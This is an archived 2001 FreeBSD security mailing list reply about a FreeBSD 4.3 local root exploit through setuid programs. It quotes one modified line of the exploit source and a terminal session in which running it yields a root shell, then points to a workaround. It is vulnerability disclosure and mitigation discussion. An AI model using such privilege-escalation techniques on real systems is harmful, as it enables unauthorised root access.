From owner-freebsd-security  Wed Jul 11  5:33:45 2001
Delivered-To: freebsd-security@freebsd.org
Received: from mailhost.freebsd.lublin.pl (mailhost.freebsd.lublin.pl [212.182.115.12])
	by hub.freebsd.org (Postfix) with ESMTP id 3562137B401
	for <security@freebsd.org>; Wed, 11 Jul 2001 05:33:41 -0700 (PDT)
	(envelope-from venglin@freebsd.lublin.pl)
Received: from clitoris (root@mailhost.freebsd.lublin.pl [212.182.115.12])
	by mailhost.freebsd.lublin.pl (8.11.4/8.11.4) with SMTP id f6BCX4r57739;
	Wed, 11 Jul 2001 14:33:07 +0200 (CEST)
	(envelope-from venglin@freebsd.lublin.pl)
Message-ID: <049201c10a05$5dc17bc0$2001a8c0@clitoris>
From: "Przemyslaw Frasunek" <venglin@freebsd.lublin.pl>
To: "Seva Gluschenko" <gvs@rinet.ru>,
	"Bug Track" <bugtraq@securityfocus.com>
Cc: <security@freebsd.org>
References: <20010711121224.J96652-100000@localhost>
Subject: Re: FreeBSD 4.3 local root
Date: Wed, 11 Jul 2001 14:31:06 +0200
Organization: babcia padlina ltd.
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-security.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-security>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-security>
X-Loop: FreeBSD.org

> Well, after a bunch of tests I've found only two suids which gave me
> suid shell:
> /usr/bin/passwd
> /usr/local/bin/ssh1

/usr/bin/su also works for me:

riget:venglin:~> egrep -e execl vvfreebsd.c
  if(!execl("/usr/bin/su","su","szymon",0))

riget:venglin:~> ./v
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe72
child=57660
Password:done
# id
uid=0(root) gid=1001(users) groups=1001(users), 99(rexec)

> So, quick workaround should be

Quick workaround is to limit arguments, environment and filter non-ascii
characters:

http://www.frasunek.com/sources/security/rexec/

--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE *
* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF *


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message